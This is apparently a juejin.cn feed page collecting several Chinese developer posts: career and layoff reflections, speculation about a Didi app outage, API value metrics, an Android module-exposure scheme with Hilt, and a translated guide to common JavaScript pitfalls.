最近一次线下培训课,认识一位老师Hubert,Hubert是一位超级有魅力的中年大叔(可以通过「有意思教练」的课程链接到他),从外企高管的位置离开后,和太太一起创办了一家培训机构。作为公司高层,日常工作非常忙,头发也有些花白了,但一身腱子肉胜过很多健身教练,给人的状态也是很年轻。聊天得知,Hubert经常5点多起来泡健身房~


我身边还有一些同事,跟我年龄差不多,因为长期加班,发福严重,比实际年龄看起来苍老10+岁;


还有同事曾经加班进ICU,幸好后面身体慢慢恢复过来。


某某厂员工长期加班猝死的例子,更是屡见不鲜。


减少加班,增加运动,绝对是一件性价比极高的事。


09 有随时可以离开的底气


当今职场,跟父辈时候完全不一样,职业的多样性和变化性越来越快,很少有人能够在同一份工作或同一个公司待一辈子。除了某些特定的岗位,如公务员、事业单位等,大多数人都会在职业生涯中经历多次的职业变化和调整。


在商业组织里,个体是弱势群体,但不要做弱者。每一段职场,每一项工作,都是上天给我们的修炼。


我很喜欢"借假修真"这个词。我们参与的大大小小的项目, 重要吗?对公司来说可能重要,对个人来说,则未必。我们去做,一方面是迫于生计;


另外一方面,参与每个项目的感悟、心得、体会,是真实存在的,很多的能力,都是在这个过程得到提升。


明白这一点,就不会被职场所困,会刻意在各样事上提升自己,积累的越多,对事务的本质理解的越深、越广,也越发相信很多底层知识是通用的,内心越平静,也会建立起随时都可以离开的底气。


10 只是一份工作


工作中,我们时常会遇到各种挑战和困难,如发展瓶颈、难以处理的人和事,甚至职场PUA等。这些经历可能会让我们感到疲惫、沮丧,甚至怀疑自己的能力和价值。然而,重要的是要明白,困难只是成长道路上的暂时阻碍,而不是我们的定义。


写总结和复盘是很好的方式,可以帮我们理清思路,找到问题的根源,并学习如何应对类似的情况。但也要注意不要陷入自我怀疑和内耗的陷阱。遇到困难时,应该学会相信自己,积极寻找解决问题的方法,而不是过分纠结于自己的不足和错误。


内网常有同学匿名分享工作压力过大,常常失眠甚至中度抑郁,每次看到这些话题,非常难过。大环境不好,是不争的事实,但并不代表个体就没有出路。


我们容易预设困难,容易加很多"可是",当窗户布满灰尘时,不要试图努力把窗户擦干净,走出去吧,你将看到一片蔚蓝的天空。


最后


写到最后,特别感恩美团三年多的经历。感谢我的Leader们,感谢曾经并肩作战过的小伙伴,感谢遇到的每一位和我一样在平凡的岗位,努力想带给身边一片微光的同学。所有的相遇,都是缘分。


作者:traveller
来源:juejin.cn/post/7298927247145910281
收起阅读 »

结合个人经历讲述近年IT行情

2022年也就是去年,疫情最严重的时候,全部都封闭在家,甚至有好多公司已经开始了裁员行动,当然也包括我所在的公司,因为主营业务就是靠销售进行盈利,既然足不出户,所以公司的盈利骤降,索性实施裁员决定,我当时所在的整个部门五十多号人吧,全部都裁掉了,没有一人幸免。...
继续阅读 »

2022年也就是去年,疫情最严重的时候,全部都封闭在家,甚至有好多公司已经开始了裁员行动,当然也包括我所在的公司,因为主营业务就是靠销售进行盈利,既然足不出户,所以公司的盈利骤降,索性实施裁员决定,我当时所在的整个部门五十多号人吧,全部都裁掉了,没有一人幸免


可能那个时候大家都觉的是疫情惹的祸,包括我也这么认为,认为疫情过去了就会好起来,但是似乎并没有那么理想。
我后来通过朋友内推进了一家公司,虽说薪资没有涨幅,但是由原来的大小周变成了双休且很少加班,当然,赛道可能就不是很好,但是由于本人比较菜,也就随随便便有个工作能做,自己能学习就行。


工作期间我也有一些技术交流群嘛,然后也在群里了解到今年有好多人失业后大多数都是两三个月后还没找到工作,也有从22年底到23年休息了半年多,当时可能由于我找工作运气好,没有经历太长时间,疫情解封了没过多久就入职了。入职的第一天我上一家的师兄也喊我过去他刚入职的一家,问我有没有意向,我师兄入职的公司是化妆品公司,研发部门属于创业类型,我们上一个公司的师兄们大概有十个左右都过去了,那边赛道也挺好,薪资待遇也很好,电商赛道,可惜的是由于我当时刚入职,而且还是朋友内推的,索性拒绝了师兄的好意,也是错失了这个大好前景的机会。


后面我在这家公司虽说工作内容没有什么可圈可点的,但是我们团队内部小组人员氛围很好,年假时间也长,半个月。但是好景不长,今年五六月份就听小道消息说公司要裁员,具体也不确定是哪些人,六月份发现有一部分人确实已经走了,我也有一定的紧张感,但是可能还是抱着侥幸或者说对行情的美好期望,我就没有太过于紧张。终于,在八月份的时候确定了裁员我们项目组,我所在的项目组要砍掉,当时也是想的正常赔偿也行,后面还能休息一段时间,然后再找工作。是的,理想很美好。


后续我先回了趟老家待了一段时间
eb1ffb0941874ca68aadc020ae8f052.jpg
后面回上海后,又和同事们一起去游了宏村,爬了黄山(爬山真的好累~)看了日落和日出。


e5a2fcb162d73bed7cbc4acf6f34ce4.jpg


0ef9241a4b6c110f19021ddb72b3ec8.jpg
玩完回来了也是隔三差五的一起去打打羽毛球,一起吃个饭唱个歌,反正那个时候挺惬意的。


后面我也是改了简历,也在boss、前程无忧上投了试试,发现没什么人去看,未读居多,我想着先这样吧,后面慢慢再继续投,时间越来越久了,发现好多都是已读不回,或者不合适;既然不合适那我就从简历入手了,一个多月期间我的简历经历了大概近七八次改版由最开始的我担心写的到时候面试不会很尴尬,到后面的先把牛吹出去,有面试了再说
可是我发现依然没有什么太多的改变,约了几家面试,但是都没有过,也只能怪自己太菜了吧,毕业三年了什么都不会,后面我想试试转战外包呢,毕竟给钱多,但是发现现在的外包给的薪资还不如甲方给的多,真的就很离谱,以前的行情选择外包起码有两个好处,一是面试简单,很容易就通过,获得offer,二是薪资给的贼高。但是我现在发现,这两点在今年已经全然消失不见,那我想不到进外包还有什么好处了。就先这样外包甲方都挑着投投,先面面看看,而且现在的面试难度提升了好高对我来说,真的很难,首先公司候选人多,毕竟裁员失业的人太多了,哪怕到年底了现在依然有好多公司还在执行裁员计划,其次是有的人要的薪资比你低,那么你也没有什么太大的优势


唉,我现在依然处于失业状态,也是很可惜当时没有跟着师兄走,也只能说是当时的一个选择错误,自己的眼界太低了。也只能怪自己的能力太差了,毕竟再烂的行情那些技术大牛也不会找不到工作。慢慢看吧,我现在的期望是平薪或者稍微降薪去一个甲方,好好的沉淀一下自己,提升自己的技术能力,以防后面类似的情况发生,不过目前最重要的还是找工作吧。


我个人可能还想期待明年的金三银四,但是我又感觉明年甚至更严峻,害,无奈,甚至想趁此转行,但是也不知道自己能干什么,甚至别的行业也亦是如此,工作不好找。或许我真的期望太高了,要结合自身去降低自己的期望吧,加油吧,祝愿现在还在找工作的人都能在年底收获一份还算不错的offer,加油吧~


作者:镀己
来源:juejin.cn/post/7306266546968707087
收起阅读 »

滴滴崩溃超过12小时,这世道是怎么了

从 2023 年 11 月 27 日晚上 10 点左右截止 2023 年 11 月 28 日中午 12 点期间,滴滴打车 APP、小程序得常用功能终于相继恢复正常。放眼整个事件来看,滴滴打车得故障时间已然超过 12 个小时,整个事件放在 2023 年得互联网来...
继续阅读 »

从 2023 年 11 月 27 日晚上 10 点左右截止 2023 年 11 月 28 日中午 12 点期间,滴滴打车 APP、小程序得常用功能终于相继恢复正常。放眼整个事件来看,滴滴打车得故障时间已然超过 12 个小时,整个事件放在 2023 年得互联网来看真是相当炸裂。



回顾昨晚,原本我在写下 降本增笑,滴滴打车也崩了 这篇文章后就入睡了,想着今天晚上滴滴得程序员可有得忙了。


没想到的是 28 号 7 点起来 9 点到公司发现滴滴打车 APP 昨晚出现的绝大部分故障任然还在,骑行功能无法使用、底部标签栏车主、领打车费等还是无法打开,查看微博,滴滴官方也是在 7 点 33 分左右对昨晚事故做出了第二次回应,



也就是说 28 号早高峰上班期间,全国上下不知有多少用户任然受到此次事故影响导致无法正常打车、骑行等。进一步也可能会导致这些用户的全勤不保。



心痛一波这些用户 ❤️‍。



我当时就在想,滴滴得程序员昨天晚上去干什么了?一晚上都修不完这些 bug?对于大厂的高级研发,架构师来说,线上系统发布出现问题时的回滚流程应该是一套很成熟的体系,但是万万没想到这个事故竟然能持续一晚上还没结束。



没想到 2023 年的互联网还有这么到超出我对大厂认知的事情在不断发生 😔。



事故影响最后一直持续到 28 号 12 点左右才相继结束。


那么这里面到底出了哪些问题?作为一个互联网从业者,我给大家分析一下这里面可能存在的原因。


事故分析


降本增效


一个词概括 2023 年的互联网行情就是 “降本增效” 。疫情三年可以说是导致本就难做的实体行业是难上加难,但确给互联网行业带来了一大波用户增长。可谁曾想到来都 2023 年初,互联网行业可以说是寸草不生,直接进入存量内卷时代,各家都不在出新产品,开始巩固护城河。


记得三年前阿里的市值巅峰是 8000 亿跌倒现在不到 2000 亿,想想这里面市值缩水了 4 倍,想想 8000 亿市值招了多少人,现在不到 2000 亿,那又需要裁多少人嘞?年初阿里裁撤 15000 人的消息还历历在目。虽然这里面有全球大环境、国家政策以及市场竞争多众多因素导致。但是裁员时,资本又不会管你一个普通底层干活的技术员工干了多少年,技术上做出了多少贡献,他只会看优化后的财务报表有多么好看。



回看滴滴这几年经历了什么,2021 年 6 月 30 日 滴滴是美国纳斯达克上市的,估值最高达到 800 亿美元,随后 2021 年 7 月 4 日,国家网信办发布公告称,“滴滴出行”APP 存在严重违法违规收集使用个人信息问题,依据相关法律规定,通知应用商店下架“滴滴出行”APP,滴滴宣布暂停新用户注册。2022 年 7 月 21 日滴滴被处以罚款 80.26 亿人民币,2023 年 1 月 16 日 滴滴宣布整改完毕,恢复新用户注册,整个事件才告一段落。


可以说滴滴也为自己的违法行为付出了代价,这里面滴滴为了能活下去裁撤了公司多少人员我们也不得而知。但是影响了滴滴打车系统的稳定性是肯定的,不然也不会有今天这件事情。


降本增效、降本增效,今年提到互联网企业就离不开这四个字。具体怎么执行嘞?


何为降本:裁掉底层干活的人,留下一堆中层领导,相信这是大部分互联网公司的降本举措。


何为增效:一个人干两个人的事情,这就是增效,相信这也是大部分互联网公司的增效举措。


试想一下,假如我是一个互联网大厂开发,周六领导开会整个部门被裁,周一上午 HR 宣读通知,下午要求走人,只留下我一人维护老系统。你说我咋接?这系统是整个部门同事多年以来共同合作开发维护,我也只是负责其中一个模块。现在要我接收全部,能不出问题吗?


OK,进一步来说,假如某个模块出问题了我找谁,或者谁担责,我只能向上反馈。领导一顿 PUA 教育,最后还是底层干活的我默默承受了一切。


结合滴滴崩溃这件事来说,会不会是某个人留下来的隐秘 bug 终于在 27 号晚 10 点爆发,而留下来的程序员不知道如何解决,而且当时半夜 12 点想要联系前同事,打不通电话是不是也有可能。这一切的结果叠加也就导致了滴滴此次事故持续事件超过了 12 个小时。


这个事情很难说,因为官方也不可能承认是裁员导致。


底层依赖更新出错


还记得语雀上次事故,事故原因就是运维工具升级报错导致。滴滴这一波会不会也是这个原因嘞?


想一想如果是应用层服务出错,线上环境针对应用服务都有完整的回滚措施。回滚操作一般不会超过 10 分钟,那么像滴滴这样的互联网大厂,就算线上服务真的很多,回滚也不可能超过一晚上 6 个小时吧。所以造成此次事故的元凶就不太可能是应用层服务。


那么造成这次事故的核心原因就只可能是一个平台已经使用了多年的底层依赖,而不凑巧的是昨天晚上某个运维升级了这个依赖导致平台应用服务全面崩溃。


想一想,在我这么多年的互联网从业经验中,一般公司只会针对线上环境针的应用服务做回滚举措。而运维负责的一些平台底层依赖,很少又回滚这一说吧。


所以这个原因是有可能的。


最后聊两句


分析到这里,这篇文章要将的内容也就讲完了,互联网大厂一直把高可用、异地多活、两地三中心这些词语挂在嘴边,但是 2023 年以来,阿里崩了、语雀崩了、滴滴也崩了,可以说互联网大厂 APP 或者服务崩了在今年已经成了一种常态。还是希望大家保持常态,大厂的 APP 也是无数人堆出来,是人就会犯错,习惯就好。


博君一笑


不过在我看了网友评论后,我又觉得合理起来,历来网友的想象力都比较丰富。





作者:waynaqua
来源:juejin.cn/post/7306457908636385307
收起阅读 »

API到底有哪些使用价值

API已成为主流企业计算架构的基础。这意味着他们需要与标准成熟应用程序相同程度的管理和监视。运转良好的API需要“先进的监视,指标和分析,以告知所有流程功能,这些功能不仅可以捕获原始流量数据,还可以使这些数据可操作以帮助防止滥用,洞察开发人员的经验,塑造产品迭...
继续阅读 »


API已成为主流企业计算架构的基础。这意味着他们需要与标准成熟应用程序相同程度的管理和监视。

运转良好的API需要先进的监视,指标和分析,以告知所有流程功能,这些功能不仅可以捕获原始流量数据,还可以使这些数据可操作以帮助防止滥用,洞察开发人员的经验,塑造产品迭代,调整内部利益相关者并发掘未开发的机会。

随着越来越多的非开发人员也开始涉足API的创建和部署,这一点变得尤为重要。 最近进行的一项调查发现,使用API的人员中有53%的人没有开发人员的资质,去年同期这一比例为41 整个企业中有这么多人使用APIAPI程序可能很快就会偏离正轨。 企业可能最终会支持并为几十个笨拙而未被充分利用的API买单,同时用那些设计糟糕且被过度使用的API来增加基础设施的负担。

这就需要更深入地了解API体验。企业需要洞察哪些API正在被采用,以及这种采用可能预示着什么样的新兴商业机会或投资重点。

可衡量的指标始终是一件好事,而挑战在于为API确定和捕获正确的指标,这些API倾向于在可能不同于传统企业软件的新规则集下运行。因此以下这些指标将帮助API创建者和业务领导者了解其工作相对成功的标准:

API的速度在当今快速发展的业务环境中,这是一个基本的关键绩效指标。实现业务目标的能力需要与快速启动API的能力相平衡。当这个目标也为业务所请求的API进行细分时,它就成为了一个有用的衡量所需功能上市时间的指标。

上线速度:API创建者可以多快注册他们的应用,获取密钥,访问控制面板并发现API”? 此上线过程应尽可能自动化。 一个自动的注册过程应该允许访问低风险的API和沙盒环境,使开发人员可以立即提高工作效率

升级速度:一旦开发人员上线,门户便可以提供升级选项,通过它们可以请求访问更敏感的数据和业务功能。

流量的增长:这可能是最重要的KPI,因为它可以通过持续监控,改善和通过API推动价值来帮助API程序发展强大的DevOps文化。

业务范围:这一点也很重要。 习惯于传统集成或旧系统的业务部门可能会拒绝采用API程序。”“通过对这一目标进行优先排序,该计划可以更快地将此类推回到适当的执行级别进行解决。此外,可以更快速地发现高性能API

降低成本:向高层管理人员展示总是一件好事。API的重用机制节省了大量的开发资源。随着API重用的增加和现有API的不必要重复的减少,通常会实现显著的成本降低。

直接收入:API货币化是最重要的前沿领域。 这样的KPI有助于获取API支持的核心产品销售收入

在业务上下层中应用API的开发人员数量:API团队应该区分在已知业务上下层中使用API的开发人员的总体采用和特定开发人员的采用,例如集成现有生态系统合作伙伴的应用程序。

客户可访问的应用程序数量:“如果一个API程序导致创建许多只供内部使用而不供客户使用的应用程序,那么它有时会招致内部的批评和对程序的放弃。

合作伙伴数量:这样的KPI“可用于加快合作伙伴的范围,推动采用并向现有业务部门展示成功。

数聚变API致力于为企业提供数据管理解决方案,包括数据采集转发和数据集成共享平台,帮助企业完成数字化转型,提供专业的API解决方案,更多信息可点击了解:https://apifusion.goldwind.com/

 

收起阅读 »

基于模块暴露和Hilt的Android模块通信方案

ModuleExpose 项目地址:github.com/JailedBird/… 序言 Android模块化必须要解决的问题是 如何实现模块间通信 ?而模块之间通信往往需要获取相同的实体类和接口,造成部分涉及模块通信的接口和实体类被迫下沉到基础模块,导致 基...
继续阅读 »

ModuleExpose


项目地址:github.com/JailedBird/…


序言


Android模块化必须要解决的问题是 如何实现模块间通信 ?而模块之间通信往往需要获取相同的实体类和接口,造成部分涉及模块通信的接口和实体类被迫下沉到基础模块,导致 基础模块代码膨胀、模块代码分散和不便维护等问题;


ModuleExpose方案使用模块暴露&依赖注入框架Hilt的方式,实现模块间通信:



  • 使用模块暴露(模块api化)解决基础模块下沉问题

  • 使用依赖注入框架Hilt实现基于接口的模块解耦方案


简介


ModuleExpose,是将module内部需要暴露的代码通过脚本自动暴露出来;不同于手动形式的接口下沉,ModuleExpose是直接将module中需要暴露的代码完整拷贝到module_expose模块,而module_expose模块的生成、拷贝和配置是由ModuleExpose脚本自动完成,并保证编译时两者代码的完全同步;


最终,工程中包含如下几类核心模块:




  • 基础模块:基础代码封装,可供任何业务模块使用;




  • 业务模块:包含业务功能,业务模块可以依赖基础模块,但无法依赖其他业务模块(避免循环依赖);




  • 暴露模块:由脚本基于业务模块或基础模块自动拷贝生成,业务模块可依赖其他暴露模块(通过compileOnly方式,只参与编译不参与打包),避免模块通信所需的接口、数据实体类下沉到基础模块,造成基础模块膨胀、业务模块核心类分散到基础模块等问题;




注意这种方案并非原创,原创出处如下:


思路原创:微信Android模块化架构重构实践



先寻找代码膨胀的原因。


翻开基础工程的代码,我们看到除了符合设计初衷的存储、网络等支持组件外,还有相当多的业务相关代码。这些代码是膨胀的来源。但代码怎么来的,非要放这?一切不合理皆有背后的逻辑。在之前的架构中,我们大量使用Event事件总线作为模块间通信的方式,也基本是唯一的方式。使用Event作为通信的媒介,自然要有定义它的地方,好让模块之间都能知道Event结构是怎样的。这时候基础工程好像就成了存放Event的唯一选择——Event定义被放在基础工程中;接着,遇到某个模块A想使用模块B的数据结构类,怎么办?把类下沉到基础工程;遇到模块A想用模块B的某个接口返回个数据,Event好像不太适合?那就把代码下沉到基础工程吧……


就这样越来越多的代码很“自然的”被下沉到基础工程中。


implementation工程提供逻辑的实现。api工程提供对外的接口和数据结构。library工程,则提供该模块的一些工具类。



项目原创: github/tyhjh/module_api



如果每次有一个模块要使用另一个模块的接口都把接口和相关文件放到公共模块里面,那么公共模块会越来越大,而且每个模块都依赖了公共模块,都依赖了一大堆可能不需要的东西;


所以我们可以提取出每个模块提供api的文件放到各种单独的模块里面;比如user模块,我们把公共模块里面的User和UserInfoService放到新的user-api模块里面,这样其他模块使用的时候可以单独依赖于这个专门提供接口的模块,以此解决公共模块膨胀的问题



本人工作:



  • 使用kts和nio重写脚本,基于性能的考量,对暴露规则和生成方式进行改进;

  • nowinandroid项目编译脚本系统、Ksp版本的Hilt依赖注入框架、示例工程三者结合起来,完善基于 模块暴露&依赖注入框架 的模块解耦示例工程;

  • 将api改名expose(PS:因内部项目使用过之前的api方案,为避免冲突所以改名,也避免和大佬项目名字冲突😘 脚本中亦可自定义关键词)


术语说明:



  • 部分博客中称这种方式为模块api化,我觉得这是合理的;本文的语境中的expose和api是等价的意思;


模块暴露


1、项目启用kts配置


因为脚本使用kts编写,因此需要在项目中启用kts配置;如因为gradle版本过低等原因导致无法接入kts,那应该是无法使用的;后续默认都开启kts,并使用kts语法脚本;


2、导入脚本到gradle目录&修改模板


请拷贝示例工程gradle/expose目录到个人项目gradle目录,拷贝后目录如下:


Path
ModuleExpose\gradle

gradle
│ libs.versions.toml
├─expose
│ build_gradle_template_android
│ build_gradle_template_java
│ build_gradle_template_expose
│ expose.gradle.kts
└─wrapper
gradle-wrapper.jar
gradle-wrapper.properties

其中:expose.gradle.kts是模块暴露的核心脚本,包含若干函数和配置参数;


其中:build_gradle_template_android和build_gradle_template_java脚本模板因项目不同而有所不同,需要自行根据项目修改,否则无法编译;




  • build_gradle_template_android,生成Android模块的脚本模板,注意高版本gradle必须配置namespace,因此最好保留如下的配置(细则见脚本如何处理的):


    android {
    namespace = "%s"
    }



  • build_gradle_template_java, 生成Java模块的脚本模板,配置较为简单;




  • includeWithApi函数使用build_gradle_template_android模板生成Android Library模块




  • includeWithJavaApi函数使用build_gradle_template_java模板生成Java Library模块




  • build_gradle_template_expose,不同于build_gradle_template_android、build_gradle_template_java的模板形式的配置,使用includeWithApi、includeWithJavaApi时,会优先检查模块根目录是否存在build_gradle_template_expose,如果存在则优先、直接将build_gradle_template_expose内容拷贝到module_expose, 作为build.gradle.kts ! 保留这个配置的原因在于:如果需要暴露的类,引用三方类如gson、但不便将三方库implementation到build_gradle_template_android,这会导致module_expose编译报错,因此为解决这样的问题,最好使用自定义module_expose脚本(拷贝module的配置、稍加修改即可)


    PS:注意这几个模板都是无后缀的,kts后缀文件会被IDE提示一大堆东西;




注意: Java模块编译更快,但是缺少Activity、Context等Android环境,请灵活使用;当然最灵活的方式是为每个module_expose单独配置build_gradle_template_expose (稍微麻烦一点);另外,如果不用includeWithJavaApi,其实build_gradle_template_java也是不需要的;


3、settings.gradle.kts导入脚本函数


根目录settings.gradle.kts配置如下:


apply(from = "$rootDir/gradle/expose/expose.gradle.kts")
val includeWithApi: (projectPaths: String) -> Unit by extra
val includeWithJavaApi: (projectPaths: String) -> Unit by extra

(PS:只要正确启用kts,settings.gradle应该也是可以导入includeWithApi的,但是我没尝试;其次老项目针对ModuleExpose改造kts时,可以渐进式改造,即只改settings.gradle.kts即可)


4、模块配置


将需要暴露的模块,在settings.gradle.kts 使用includeWithApi(或includeWithJavaApi)导入;


includeWithApi(":feature:settings")
includeWithApi(":feature:search")

即可自动生成新模块 ${module_expose};然后在模块源码目录下创建名为expose的目录,将需要暴露的文件放在expose目录下, expose目录下的文件即可在新模块中自动拷贝生成;


生成细则:


1、 模块支持多个expose目录(递归、含子目录)同时暴露,这可以避免将实体类,接口等全部放在单个expose,看着很乱


2、 expose内部的文件,默认全部复制,但脚本提供了开关,可以自行更改并配置基于文件名的拷贝过滤;


5、使用module_expose模块


请使用 compileOnly 导入项目,如下:


compileOnly(project(mapOf("path" to ":feature:search_expose")))

错误:会导致资源冲突


implementation(project(mapOf("path" to ":feature:search_expose")))

原理解释:compileOnly只参与编译,不会被打包;implementation参与编译和打包;


因此search_expose只能使用compileOnly导入,确保解耦的模块之间可以访问到类引用,但不会造成打包时2个类相同的冲突问题;


依赖注入


基于模块暴露的相关接口,可以使用依赖注入框架Hilt实现基于接口的解耦; 当然如果大家不使用Hilt技术栈的话,这节可以跳过;


本节内容会以业务模块search和settings为例,通过代码展示:



  • search模块跳转到settings模块,打开SettingsActivity

  • settings模块跳转到search模块,打开SearchActivity


PS:关于Hilt的配置和导入,本项目直接沿用nowinandroid工程中build-logic的配置,具体配置和使用请参考本项目和nowinandroid项目;


1、 基本配置&工程结构:


image.png


导入脚本之后,使用includeWithApi导入三个业务模块,各自生成对应的module_expose;


注意,请将*_expose/添加到gitignore,避免expose模块提交到git


2、 业务模块接口暴露&实现


settings模块expose目录下暴露SettingExpose接口, 脚本会自动将其同步拷贝到settings_expose中对应expose目录


image.png


exposeimpl/SettingExposeImpl实现SettingExpose接口的具体功能,完善跳转功能


class SettingExposeImpl @Inject constructor() : SettingExpose {
override fun startSettingActivity(context: Context) {
SettingsActivity.start(context)
}
}

3、 Hilt添加注入接口绑定


使用Hilt绑定全局单例SettingExpose接口实现,其对应实现为SettingExposeImpl


image.png


4、 search模块compileOnly导入settings_expose


compileOnly(projects.feature.settingsExpose)

注意,模块暴露依赖只能使用compileOnly,保证编译时候能找到对应文件即可;另外projects.feature.settingsExpose这种项目导入方式,需要在settings.gradle.kts启用project类型安全配置;


 enableFeaturePreview("TYPESAFE_PROJECT_ACCESSORS")

5、 search注入并使用SettingExpose


@AndroidEntryPoint
class SearchActivity : AppCompatActivity() {
@Inject
lateinit var settingExpose: SettingExpose

private val listener = object : AppSettingsPopWindow.Listener {

override fun settings() {
settingExpose.startSettingActivity(this@SearchActivity)
}
}
}

6、 实现解耦


最终实现【search模块跳转到settings模块,打开SettingsActivity】, 至于【settings模块跳转到search模块,打开SearchActivity】的操作完全一致,不重复叙述了;


参考资料


1、思路原创:微信Android模块化架构重构实践


2、项目原创:github/tyhjh/module_api


3、脚本迁移:将 build 配置从 Groovy 迁移到 KTS


4、参考文章:Android模块化设计方案之接口API化


5、Nowinandroid:github.com/android/now…


6、Dagger项目:github.com/google/dagg…


7、Hilt官方教程:developer.android.com/training/de…


作者:JailedBird
来源:juejin.cn/post/7305977644499419190
收起阅读 »

JS 爱好者的十大反向教学(译)

web
大家好,这里是大家的林语冰。 免责声明 本文属于是语冰的直男翻译了属于是,仅供粉丝参考,英文原味版请临幸 The 10 Most Common JavaScript Issues Developers Face。 今时今日,JS(JavaScript)几乎...
继续阅读 »

大家好,这里是大家的林语冰。



免责声明


本文属于是语冰的直男翻译了属于是,仅供粉丝参考,英文原味版请临幸 The 10 Most Common JavaScript Issues Developers Face



今时今日,JS(JavaScript)几乎是所有现代 Web App 的核心。这就是为什么 JS 出问题,以及找到导致这些问题的错误,是 Web 开发者的最前线。


用于 SPA(单页应用程序)开发、图形和动画以及服务器端 JS 平台的给力的 JS 库和框架不足为奇。JS 在 Web App 开发领域早已无处不在,因此是一项越来越需要加点的技能树。


乍一看,JS 可能很简单。事实上,对于任何有经验的软件开发者而言,哪怕它们是 JS 初学者,将基本的 JS 功能构建到网页中也是举手之劳。


虽然但是,这种语言比大家起初认为的要更微妙、给力和复杂。事实上,一大坨 JS 的微妙之处可能导致一大坨常见问题,无法正常工作 —— 我们此处会讨论其中的 10 个问题。在成为 JS 大神的过程中,了解并避免这些问题十分重要


问题 1:this 引用失真


JS 开发者对 JS 的 this 关键字不乏困惑。


多年来,随着 JS 编码技术和设计模式越来越复杂,回调和闭包中自引用作用域的延伸也同比增加,此乃导致 JS “this 混淆”问题的“万恶之源”。


请瞄一眼下述代码片段:


const Game = function () {
this.clearLocalStorage = function () {
console.log('Clearing local storage...')
}
this.clearBoard = function () {
console.log('Clearing board...')
}
}

Game.prototype.restart = function () {
this.clearLocalStorage()
this.timer = setTimeout(function () {
this.clearBoard() // this 是什么鬼物?
}, 0)
}

const myGame = new Game()
myGame.restart()

执行上述代码会导致以下错误:


未捕获的类型错误: this.clearBoard 不是函数

为什么呢?这与上下文有关。出现该错误的原因是,当您执行 setTimeout() 时,您实际是在执行 window.setTimeout()。因此,传递给 setTimeout() 的匿名函数定义在 window 对象的上下文中,该对象没有 clearBoard() 方法。


一个传统的、兼容旧浏览器的技术方案是简单地将您的 this 引用保存在一个变量中,然后可以由闭包继承,举个栗子:


Game.prototype.restart = function () {
this.clearLocalStorage()
const self = this // 当 this 还是 this 的时候,保存 this 引用!
this.timer = setTimeout(function () {
self.clearBoard() // OK,我们可以知道 self 是什么了!
}, 0)
}

或者,在较新的浏览器中,您可以使用 bind() 方法传入正确的引用:


Game.prototype.restart = function () {
this.clearLocalStorage()
this.timer = setTimeout(this.reset.bind(this), 0) // 绑定 this
}

Game.prototype.reset = function () {
this.clearBoard() // OK,回退到正确 this 的上下文!
}

问题 2:认为存在块级作用域


JS 开发者之间混淆的“万恶之源”之一(因此也是 bug 的常见来源)是,假设 JS 为每个代码块创建新的作用域。尽管这在许多其他语言中是正确的,但在 JS 中却并非如此。举个栗子,请瞄一眼下述代码:


for (var i = 0; i < 10; i++) {
/* ... */
}
console.log(i) // 输出是什么鬼物?

如果您猜到调用 console.log() 会输出 undefined 或报错,那么恭喜您猜错了。信不信由你,它会输出 10。为什么呢?


在大多数其他语言中,上述代码会导致错误,因为变量 i 的“生命”(即作用域)将被限制在 for 区块中。虽然但是,在 JS 中,情况并非如此,即使在循环完成后,变量 i 仍保留在范围内,在退出 for 循环后保留其最终值。(此行为被称为变量提升。)


JS 对块级作用域的支持可通过 let 关键字获得。多年来,let 关键字一直受到浏览器和后端 JS 引擎(比如 Node.js)的广泛支持。如果这对您来说是新知识,那么值得花时间阅读作用域、原型等。


问题3:创建内存泄漏


如果您没有刻意编码来避免内存泄漏,那么内存泄漏几乎不可避免。它们有一大坨触发方式,因此我们只强调其中两种更常见的情况。


示例 1:失效对象的虚空引用


注意:此示例仅适用于旧版 JS 引擎,新型 JS 引擎具有足够机智的垃圾回收器(GC)来处理这种情况。


请瞄一眼下述代码:


var theThing = null
var replaceThing = function () {
var priorThing = theThing // 保留之前的东东
var unused = function () {
// unused 是唯一引用 priorThing 的地方,
// 但 unused 从未执行
if (priorThing) {
console.log('hi')
}
}
theThing = {
longStr: new Array(1000000).join('*'), // 创建一个 1MB 的对象
someMethod: function () {
console.log(someMessage)
}
}
}
setInterval(replaceThing, 1000) // 每秒执行一次 replaceThing

如果您运行上述代码并监视内存使用情况,就会发现严重的内存泄漏 —— 每秒有一整兆字节!即使是手动垃圾收集器也无济于事。所以看起来每次调用 replaceThing 时我们都在泄漏 longSte。但是为什么呢?



如果您没有刻意编码来避免内存泄漏,那么内存泄漏几乎不可避免



让我们更详细地检查一下:


每个 theThing 对象都包含自己的 1MB longStr 对象。每一秒,当我们调用 replaceThing 时,它都会保留 priorThing 中之前的 theThing 对象的引用。但我们仍然不认为这是一个问题,因为每次先前引用的 priorThing 都会被取消引用(当 priorThing 通过 priorThing = theThing; 重置时)。此外,它仅在 replaceThing 的主体中和 unused 函数中被引用,这实际上从未使用过。


因此,我们再次想知道为什么这里存在内存泄漏。


要了解发生了什么事,我们需要更好地理解 JS 的内部工作原理。闭包通常由链接到表示其词法作用域的字典风格对象(dictionary-style)的每个函数对象实现。如果 replaceThing 内部定义的两个函数实际使用了 priorThing,那么它们都得到相同的对象是很重要的,即使 priorThing 逐次赋值,两个函数也共享相同的词法环境。但是,一旦任何闭包使用了变量,它就会进入该作用域中所有闭包共享的词法环境中。而这个小小的细微差别就是导致这种粗糙的内存泄漏的原因。


示例 2:循环引用


请瞄一眼下述代码片段:


function addClickHandler(element) {
element.click = function onClick(e) {
alert('Clicked the ' + element.nodeName)
}
}

此处,onClick 有一个闭包,它保留了 element 的引用(通过 element.nodeName)。通过同时将 onClick 赋值给 element.click,就创建了循环引用,即 element -> onClick -> element -> onClick -> element ......


有趣的是,即使 element 从 DOM 中删除,上述循环自引用也会阻止 elementonClick 被回收,从而造成内存泄漏。


避免内存泄漏:要点


JS 的内存管理(尤其是它的垃圾回收)很大程度上基于对象可达性(reachability)的概念。


假定以下对象是可达的,称为“根”:



  • 从当前调用堆栈中的任意位置引用的对象(即,当前正在执行的函数中的所有局部变量和参数,以及闭包作用域中的所有变量)

  • 所有全局变量


只要对象可以通过引用或引用链从任何根访问,那么它们至少会保留在内存中。


浏览器中有一个垃圾回收器,用于清理不可达对象占用的内存;换而言之,当且仅当 GC 认为对象不可达时,才会从内存中删除对象。不幸的是,很容易得到已失效的“僵尸”对象,这些对象不再使用,但 GC 仍然认为它们可达。


问题 4:混淆相等性


JS 的便捷性之一是,它会自动将布尔上下文中引用的任何值强制转换为布尔值。但在某些情况下,这可能既香又臭。


举个栗子,对于一大坨 JS 开发者而言,下列表达式很头大:


// 求值结果均为 true!
console.log(false == '0');
console.log(null == undefined);
